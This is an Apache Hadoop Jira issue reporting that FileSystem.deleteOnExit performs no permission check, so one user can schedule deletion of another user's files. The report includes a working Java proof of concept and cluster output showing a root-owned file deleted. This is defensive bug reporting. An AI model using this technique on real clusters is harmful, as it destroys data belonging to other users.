[jira] [Created] (HADOOP-15725) FileSystem.deleteOnExit should check user permissions

Oleksandr Shevchenko created HADOOP-15725:
---------------------------------------------

             Summary: FileSystem.deleteOnExit should check user permissions
                 Key: HADOOP-15725
                 URL: https://issues.apache.org/jira/browse/HADOOP-15725
             Project: Hadoop Common
          Issue Type: Bug
            Reporter: Oleksandr Shevchenko
         Attachments: deleteOnExitReproduce

For now, we able to add any file to FileSystem deleteOnExit list. It leads to security problems. Some user (Intruder) can get file system instance which was created by another user (Owner) and mark any files to delete even if "Intruder" doesn't have any access to this files. Later when "Owner" invoke close method (or JVM is shut down since we have ShutdownHook which able to close all file systems) marked files will be deleted successfully since deleting was do behalf of "Owner" (or behalf of a user who ran a program).

I attached the patch [^deleteOnExitReproduce] which reproduces this possibility and also I able to reproduce it on a cluster with both Local and Distributed file systems:
{code}
public class Main {

public static void main(String[] args) throws Exception {

final FileSystem fs;
 Configuration conf = new Configuration();
 conf.set("fs.default.name", "hdfs://node:9000");
 conf.set("fs.hdfs.impl",
 org.apache.hadoop.hdfs.DistributedFileSystem.class.getName()
 );
 fs = FileSystem.get(conf);
 System.out.println(fs);

Path f = new Path("/user/root/testfile");
 System.out.println(f);

UserGroupInformation hive = UserGroupInformation.createRemoteUser("hive");

hive.doAs((PrivilegedExceptionAction<Boolean>) () -> fs.deleteOnExit(f));
 System.out.println(Arrays.asList(hive.getGroupNames()).toString());

fs.close();
 }
{code}

Result:
{noformat}
root@node:/# hadoop fs -put testfile /user/root
root@node:/# hadoop fs -chown 700 /user/root/testfile
root@node:/# hadoop fs -ls /user/root

[]
root@node:/# hadoop fs -ls /user/root
{noformat}

We should add a check user permissions before mark a file to delete. 
Could someone evaluate this? And if no one objects I would like to start working on this.
Thanks a lot for any comments.
